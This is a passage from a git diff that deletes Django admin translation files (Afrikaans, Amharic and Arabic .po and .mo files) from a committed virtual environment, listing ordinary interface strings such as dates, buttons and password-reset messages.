2019,2023,2025 -# Pi Delport , 2013 -# Pi Delport , 2013 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-25 15:04-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: F Wolff , 2019,2023,2025\n" -"Language-Team: Afrikaans (http://app.transifex.com/django/django/language/" -"af/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: af\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Beskikbare %s" - -#, javascript-format -msgid "" -"Choose %s by selecting them and then select the \"Choose\" arrow button." -msgstr "Kies %s deur hulle te merk en klik dan die \"Kies\"-pylknoppie" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Tik in hierdie blokkie om die lys beskikbare %s te filtreer." - -msgid "Filter" -msgstr "Filteer" - -#, javascript-format -msgid "Choose all %s" -msgstr "Kies alle %s" - -#, javascript-format -msgid "Choose selected %s" -msgstr "Kies gemerkte %s" - -#, javascript-format -msgid "Remove selected %s" -msgstr "" - -#, javascript-format -msgid "Chosen %s" -msgstr "Gekose %s" - -#, javascript-format -msgid "" -"Remove %s by selecting them and then select the \"Remove\" arrow button." -msgstr "" -"Verwyder %s deur hulle te merk en klik dan die \"Verwyder\"-pylknoppie." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Tik in hierdie blokkie om die lys gekose %s te filtreer." - -msgid "(click to clear)" -msgstr "(klik vir skoon lys)" - -#, javascript-format -msgid "Remove all %s" -msgstr "Verwyder alle %s" - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s gemerkte keuse onsigbaar" -msgstr[1] "%s gemerkte keuses onsigbaar" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s van %(cnt)s gekies" -msgstr[1] "%(sel)s van %(cnt)s gekies" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Daar is ongestoorde veranderinge op individuele redigeerbare velde. Deur nou " -"’n aksie uit te voer, sal ongestoorde veranderinge verlore gaan." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"’n Aksie is gekies, maar die veranderinge aan individuele velde is nog nie " -"gestoor nie. Klik OK om te stoor. Die aksie sal weer uitgevoer moet word." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"’n Aksie is gekies en geen veranderinge aan individuele velde is gemaak nie. " -"Dalk op soek na die Gaan-knoppie in plaas van die Stoor-knoppie?" - -msgid "Now" -msgstr "Nou" - -msgid "Midnight" -msgstr "Middernag" - -msgid "6 a.m." -msgstr "06:00" - -msgid "Noon" -msgstr "Middag" - -msgid "6 p.m." -msgstr "18:00" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Let wel: U is %s uur voor die bedienertyd." -msgstr[1] "Let wel: U is %s ure voor die bedienertyd." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Let wel: U is %s uur agter die bedienertyd." -msgstr[1] "Let wel: U is %s ure agter die bedienertyd." - -msgid "Choose a Time" -msgstr "Kies ’n tyd" - -msgid "Choose a time" -msgstr "Kies ‘n tyd" - -msgid "Cancel" -msgstr "Kanselleer" - -msgid "Today" -msgstr "Vandag" - -msgid "Choose a Date" -msgstr "Kies ’n datum" - -msgid "Yesterday" -msgstr "Gister" - -msgid "Tomorrow" -msgstr "Môre" - -msgid "January" -msgstr "Januarie" - -msgid "February" -msgstr "Februarie" - -msgid "March" -msgstr "Maart" - -msgid "April" -msgstr "April" - -msgid "May" -msgstr "Mei" - -msgid "June" -msgstr "Junie" - -msgid "July" -msgstr "Julie" - -msgid "August" -msgstr "Augustus" - -msgid "September" -msgstr "September" - -msgid "October" -msgstr "Oktober" - -msgid "November" -msgstr "November" - -msgid "December" -msgstr "Desember" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Jan" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Feb" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Mrt" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Apr" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Mei" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Jun" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Jul" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Aug" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Sep" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Okt" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Nov" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Des" - -msgid "Sunday" -msgstr "Sondag" - -msgid "Monday" -msgstr "Maandag" - -msgid "Tuesday" -msgstr "Dinsdag" - -msgid "Wednesday" -msgstr "Woensdag" - -msgid "Thursday" -msgstr "Donderdag" - -msgid "Friday" -msgstr "Vrydag" - -msgid "Saturday" -msgstr "Saterdag" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "Son" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "Ma" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "Di" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "Wo" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "Do" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "Vr" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "Sa" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "S" - -msgctxt "one letter Monday" -msgid "M" -msgstr "M" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "D" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "W" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "D" - -msgctxt "one letter Friday" -msgid "F" -msgstr "V" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "S" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/am/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/am/LC_MESSAGES/django.mo deleted file mode 100644 index 37fd72aa..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/am/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/am/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/am/LC_MESSAGES/django.po deleted file mode 100644 index b42fc41e..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/am/LC_MESSAGES/django.po +++ /dev/null @@ -1,636 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2017-01-19 16:49+0100\n" -"PO-Revision-Date: 2017-09-19 17:44+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Amharic (http://www.transifex.com/django/django/language/" -"am/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: am\n" -"Plural-Forms: nplurals=2; plural=(n > 1);\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d %(items)s በተሳካ ሁኔታ ተወግድዋል:: " - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "%(name)s ማስወገድ አይቻልም" - -msgid "Are you sure?" -msgstr "እርግጠኛ ነህ?" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "የተመረጡትን %(verbose_name_plural)s አስወግድ" - -msgid "Administration" -msgstr "" - -msgid "All" -msgstr "ሁሉም" - -msgid "Yes" -msgstr "አዎ" - -msgid "No" -msgstr "አይደለም" - -msgid "Unknown" -msgstr "ያልታወቀ" - -msgid "Any date" -msgstr "ማንኛውም ቀን" - -msgid "Today" -msgstr "ዛሬ" - -msgid "Past 7 days" -msgstr "ያለፉት 7 ቀናት" - -msgid "This month" -msgstr "በዚህ ወር" - -msgid "This year" -msgstr "በዚህ አመት" - -msgid "No date" -msgstr "" - -msgid "Has date" -msgstr "" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" - -msgid "Action:" -msgstr "ተግባር:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "ሌላ %(verbose_name)s ጨምር" - -msgid "Remove" -msgstr "አጥፋ" - -msgid "action time" -msgstr "ተግባሩ የተፈፀመበት ጊዜ" - -msgid "user" -msgstr "" - -msgid "content type" -msgstr "" - -msgid "object id" -msgstr "" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/3/library/functions.html#repr) -msgid "object repr" -msgstr "" - -msgid "action flag" -msgstr "" - -msgid "change message" -msgstr "መልዕክት ለውጥ" - -msgid "log entry" -msgstr "" - -msgid "log entries" -msgstr "" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "\"%(object)s\" ተጨምሯል::" - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "\"%(object)s\" - %(changes)s ተቀይሯል" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "\"%(object)s.\" ተወግድዋል" - -msgid "LogEntry Object" -msgstr "" - -#, python-brace-format -msgid "Added {name} \"{object}\"." -msgstr "" - -msgid "Added." -msgstr "" - -msgid "and" -msgstr "እና" - -#, python-brace-format -msgid "Changed {fields} for {name} \"{object}\"." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} \"{object}\"." -msgstr "" - -msgid "No fields changed." -msgstr "ምንም \"ፊልድ\" አልተቀየረም::" - -msgid "None" -msgstr "ምንም" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was added successfully." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" - -msgid "No action selected." -msgstr "ምንም ተግባር አልተመረጠም::" - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "%(name)s \"%(obj)s\" በተሳካ ሁኔታ ተወግድዋል:: " - -#, python-format -msgid "%(name)s with ID \"%(key)s\" doesn't exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "%s ጨምር" - -#, python-format -msgid "Change %s" -msgstr "%s ቀይር" - -msgid "Database error" -msgstr "የ(ዳታቤዝ) ችግር" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s በተሳካ ሁኔታ ተቀይሯል::" -msgstr[1] "%(count)s %(name)s በተሳካ ሁኔታ ተቀይረዋል::" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s ተመርጠዋል" -msgstr[1] "ሁሉም %(total_count)s ተመርጠዋል" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 of %(cnt)s ተመርጠዋል" - -#, python-format -msgid "Change history: %s" -msgstr "ታሪኩን ቀይር: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "ጃንጎ ድህረ-ገጽ አስተዳዳሪ" - -msgid "Django administration" -msgstr "ጃንጎ አስተዳደር" - -msgid "Site administration" -msgstr "ድህረ-ገጽ አስተዳደር" - -msgid "Log in" -msgstr "" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "ድህረ-ገጹ የለም" - -msgid "We're sorry, but the requested page could not be found." -msgstr "ይቅርታ! የፈለጉት ድህረ-ገጽ የለም::" - -msgid "Home" -msgstr "ሆም" - -msgid "Server error" -msgstr "የሰርቨር ችግር" - -msgid "Server error (500)" -msgstr "የሰርቨር ችግር (500)" - -msgid "Server Error (500)" -msgstr "የሰርቨር ችግር (500)" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "የተመረጡትን ተግባሮች አስጀምር" - -msgid "Go" -msgstr "ስራ" - -msgid "Click here to select the objects across all pages" -msgstr "" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "ሁሉንም %(total_count)s %(module_name)s ምረጥ" - -msgid "Clear selection" -msgstr "የተመረጡትን ባዶ ኣድርግ" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" - -msgid "Enter a username and password." -msgstr "መለያስም(ዩዘርኔም) እና የይለፍቃል(ፓስወርድ) ይስገቡ::" - -msgid "Change password" -msgstr "የይለፍቃል(ፓስወርድ) ቅየር" - -msgid "Please correct the error below." -msgstr "ከታች ያሉትን ችግሮች ያስተካክሉ::" - -msgid "Please correct the errors below." -msgstr "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "ለ %(username)s መለያ አዲስ የይለፍቃል(ፓስወርድ) ያስገቡ::" - -msgid "Welcome," -msgstr "እንኳን በደህና መጡ," - -msgid "View site" -msgstr "" - -msgid "Documentation" -msgstr "መረጃ" - -msgid "Log out" -msgstr "ጨርሰህ ውጣ" - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)s ጨምር" - -msgid "History" -msgstr "ታሪክ" - -msgid "View on site" -msgstr "ድህረ-ገጹ ላይ ይመልከቱ" - -msgid "Filter" -msgstr "አጣራ" - -msgid "Remove from sorting" -msgstr "" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "" - -msgid "Toggle sorting" -msgstr "" - -msgid "Delete" -msgstr "" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" - -msgid "Objects" -msgstr "" - -msgid "Yes, I'm sure" -msgstr "አዎ,እርግጠኛ ነኝ" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" - -msgid "Change" -msgstr "ቀይር" - -msgid "Delete?" -msgstr "ላስወግድ?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "በ %(filter_title)s" - -msgid "Summary" -msgstr "" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "" - -msgid "Add" -msgstr "ጨምር" - -msgid "You don't have permission to edit anything." -msgstr "" - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "" - -msgid "None available" -msgstr "ምንም የለም" - -msgid "Unknown content" -msgstr "" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "የእርሶን መለያስም (ዩዘርኔም) ወይም የይለፍቃል(ፓስወርድ)ዘነጉት?" - -msgid "Date/time" -msgstr "ቀን/ጊዜ" - -msgid "User" -msgstr "" - -msgid "Action" -msgstr "" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "" - -msgid "Show all" -msgstr "ሁሉንም አሳይ" - -msgid "Save" -msgstr "" - -msgid "Popup closing..." -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -msgid "Search" -msgstr "ፈልግ" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] " %(counter)s ውጤት" -msgstr[1] "%(counter)s ውጤቶች" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "በአጠቃላይ %(full_result_count)s" - -msgid "Save as new" -msgstr "" - -msgid "Save and add another" -msgstr "" - -msgid "Save and continue editing" -msgstr "" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "ዛሬ ድህረ-ገዓችንን ላይ ጥሩ ጊዜ ስላሳለፉ እናመሰግናለን::" - -msgid "Log in again" -msgstr "በድጋሜ ይግቡ" - -msgid "Password change" -msgstr "የይለፍቃል(ፓስወርድ) ቅየራ" - -msgid "Your password was changed." -msgstr "የይለፍቃልዎን(ፓስወርድ) ተቀይሯል::" - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" - -msgid "Change my password" -msgstr "የይለፍቃል(ፓስወርድ) ቀይር" - -msgid "Password reset" -msgstr "" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" - -msgid "Password reset confirmation" -msgstr "" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" - -msgid "New password:" -msgstr "አዲስ የይለፍቃል(ፓስወርድ):" - -msgid "Confirm password:" -msgstr "የይለፍቃልዎን(ፓስወርድ) በድጋሜ በማስገባት ያረጋግጡ:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check your spam folder." -msgstr "" -"ኢ-ሜል ካልደረስዎት እባክዎን የተመዘገቡበትን የኢ-ሜል አድራሻ ትክክለኛነት ይረጋግጡእንዲሁም ኢ-ሜል (ስፓም) ማህደር " -"ውስጥ ይመልከቱ::" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"ይህ ኢ-ሜል የደረስዎት %(site_name)s ላይ እንደ አዲስ የይለፍቃል(ፓስወርድ) ለ ለመቀየር ስለጠየቁ ነው::" - -msgid "Please go to the following page and choose a new password:" -msgstr "እባክዎን ወደሚከተለው ድህረ-ገዕ በመሄድ አዲስ የይለፍቃል(ፓስወርድ) ያውጡ:" - -msgid "Your username, in case you've forgotten:" -msgstr "ድንገት ከዘነጉት ይኌው የእርሶ መለያስም (ዩዘርኔም):" - -msgid "Thanks for using our site!" -msgstr "ድህረ-ገዓችንን ስለተጠቀሙ እናመሰግናለን!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s ቡድን" - -msgid "" -"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" -"የይለፍቃልዎን(ፓስወርድ)ረሱት? ከታች የኢ-ሜል አድራሻዎን ይስገቡ እና አዲስ ፓስወርድ ለማውጣት የሚያስችል መረጃ " -"እንልክልዎታለን::" - -msgid "Email address:" -msgstr "ኢ-ሜል አድራሻ:" - -msgid "Reset my password" -msgstr "" - -msgid "All dates" -msgstr "ሁሉም ቀናት" - -#, python-format -msgid "Select %s" -msgstr "%sን ምረጥ" - -#, python-format -msgid "Select %s to change" -msgstr "ለመቀየር %sን ምረጥ" - -msgid "Date:" -msgstr "ቀን:" - -msgid "Time:" -msgstr "ጊዜ" - -msgid "Lookup" -msgstr "አፈላልግ" - -msgid "Currently:" -msgstr "በዚህ ጊዜ:" - -msgid "Change:" -msgstr "ቀይር:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ar/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ar/LC_MESSAGES/django.mo deleted file mode 100644 index fd75f68b..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ar/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ar/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ar/LC_MESSAGES/django.po deleted file mode 100644 index f1b1725e..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ar/LC_MESSAGES/django.po +++ /dev/null @@ -1,731 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Bashar Al-Abdulhadi, 2015-2016,2018,2020-2021 -# Bashar Al-Abdulhadi, 2014 -# Eyad Toma , 2013 -# Jannis Leidel , 2011 -# Muaaz Alsaied, 2020 -# Tony xD , 2020 -# صفا الفليج , 2020 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-09-21 10:22+0200\n" -"PO-Revision-Date: 2021-10-15 21:11+0000\n" -"Last-Translator: Bashar Al-Abdulhadi\n" -"Language-Team: Arabic (http://www.transifex.com/django/django/language/ar/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ar\n" -"Plural-Forms: nplurals=6; plural=n==0 ? 0 : n==1 ? 1 : n==2 ? 2 : n%100>=3 " -"&& n%100<=10 ? 3 : n%100>=11 && n%100<=99 ? 4 : 5;\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "احذف %(verbose_name_plural)s المحدّدة" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "نجح حذف %(count)d من %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "تعذّر حذف %(name)s" - -msgid "Are you sure?" -msgstr "هل أنت متأكد؟" - -msgid "Administration" -msgstr "الإدارة" - -msgid "All" -msgstr "الكل" - -msgid "Yes" -msgstr "نعم" - -msgid "No" -msgstr "لا" - -msgid "Unknown" -msgstr "مجهول" - -msgid "Any date" -msgstr "أي تاريخ" - -msgid "Today" -msgstr "اليوم" - -msgid "Past 7 days" -msgstr "الأيام السبعة الماضية" - -msgid "This month" -msgstr "هذا الشهر" - -msgid "This year" -msgstr "هذه السنة" - -msgid "No date" -msgstr "لا يوجد أي تاريخ" - -msgid "Has date" -msgstr "به تاريخ" - -msgid "Empty" -msgstr "فارغ" - -msgid "Not empty" -msgstr "غير فارغ" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"من فضلك أدخِل قيمة %(username)s الصحيحة وكلمة السر لحساب الطاقم الإداري. " -"الحقلين حسّاسين لحالة الأحرف." - -msgid "Action:" -msgstr "الإجراء:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "أضِف %(verbose_name)s آخر" - -msgid "Remove" -msgstr "أزِل" - -msgid "Addition" -msgstr "إضافة" - -msgid "Change" -msgstr "تعديل" - -msgid "Deletion" -msgstr "حذف" - -msgid "action time" -msgstr "وقت الإجراء" - -msgid "user" -msgstr "المستخدم" - -msgid "content type" -msgstr "نوع المحتوى" - -msgid "object id" -msgstr "معرّف الكائن" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "التمثيل البصري للكائن" - -msgid "action flag" -msgstr "راية الإجراء" - -msgid "change message" -msgstr "رسالة التغيير" - -msgid "log entry" -msgstr "مدخلة سجلات" - -msgid "log entries" -msgstr "مدخلات السجلات" - -#, python-format -msgid "Added “%(object)s”." -msgstr "أُضيف ”%(object)s“." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "عُدّل ”%(object)s“ — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "حُذف ”%(object)s“." - -msgid "LogEntry Object" -msgstr "كائن LogEntry" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "أُضيف {name} ‏”{object}“." - -msgid "Added." -msgstr "أُضيف." - -msgid "and" -msgstr "و" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "تغيّرت {fields} ‏{name} ‏”{object}“." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "تغيّرت {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "حُذف {name} ‏”{object}“." - -msgid "No fields changed." -msgstr "لم يتغيّر أي حقل." - -msgid "None" -msgstr "بلا" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"اضغط مفتاح ”Contrl“ (أو ”Command“ على أجهزة ماك) مطوّلًا لتحديد أكثر من عنصر." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "نجحت إضافة {name} ‏”{obj}“." - -msgid "You may edit it again below." -msgstr "يمكنك تعديله ثانيةً أسفله." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "نجحت إضافة {name} ‏”{obj}“. يمكنك إضافة {name} آخر أسفله." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "نجح تعديل {name} ‏”{obj}“. يمكنك تعديله ثانيةً أسفله." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "نجحت إضافة {name} ‏”{obj}“. يمكنك تعديله ثانيةً أسفله." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "تمت إضافة {name} “{obj}” بنجاح، يمكنك إضافة {name} أخر بالأسفل." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "نجحت إضافة {name} ‏”{obj}“." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "عليك تحديد العناصر لتطبيق الإجراءات عليها. لم يتغيّر أيّ عنصر." - -msgid "No action selected." -msgstr "لا إجراء محدّد." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "نجح حذف %(name)s ‏”%(obj)s“." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "ما من %(name)s له المعرّف ”%(key)s“. لربّما حُذف أساسًا؟" - -#, python-format -msgid "Add %s" -msgstr "إضافة %s" - -#, python-format -msgid "Change %s" -msgstr "تعديل %s" - -#, python-format -msgid "View %s" -msgstr "عرض %s" - -msgid "Database error" -msgstr "خطـأ في قاعدة البيانات" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "لم يتم تغيير أي شيء" -msgstr[1] "تم تغيير %(count)s %(name)s بنجاح." -msgstr[2] "تم تغيير %(count)s %(name)s بنجاح." -msgstr[3] "تم تغيير %(count)s %(name)s بنجاح." -msgstr[4] "تم تغيير %(count)s %(name)s بنجاح." -msgstr[5] "تم تغيير %(count)s %(name)s بنجاح." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "لم يتم تحديد أي شيء" -msgstr[1] "تم تحديد %(total_count)s" -msgstr[2] "تم تحديد %(total_count)s" -msgstr[3] "تم تحديد %(total_count)s" -msgstr[4] "تم تحديد %(total_count)s" -msgstr[5] "تم تحديد %(total_count)s" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "لا شيء محدد من %(cnt)s" - -#, python-format -msgid "Change history: %s" -msgstr "تاريخ التغيير: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"حذف %(class_name)s %(instance)s سيتسبب أيضاً بحذف العناصر المرتبطة التالية: " -"%(related_objects)s" - -msgid "Django site admin" -msgstr "إدارة موقع جانغو" - -msgid "Django administration" -msgstr "إدارة جانغو" - -msgid "Site administration" -msgstr "إدارة الموقع" - -msgid "Log in" -msgstr "ادخل" - -#, python-format -msgid "%(app)s administration" -msgstr "إدارة %(app)s " - -msgid "Page not found" -msgstr "تعذر العثور على الصفحة" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "نحن آسفون، لكننا لم نعثر على الصفحة المطلوبة." - -msgid "Home" -msgstr "الرئيسية" - -msgid "Server error" -msgstr "خطأ في المزود" - -msgid "Server error (500)" -msgstr "خطأ في المزود (500)" - -msgid "Server Error (500)" -msgstr "خطأ في المزود (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " 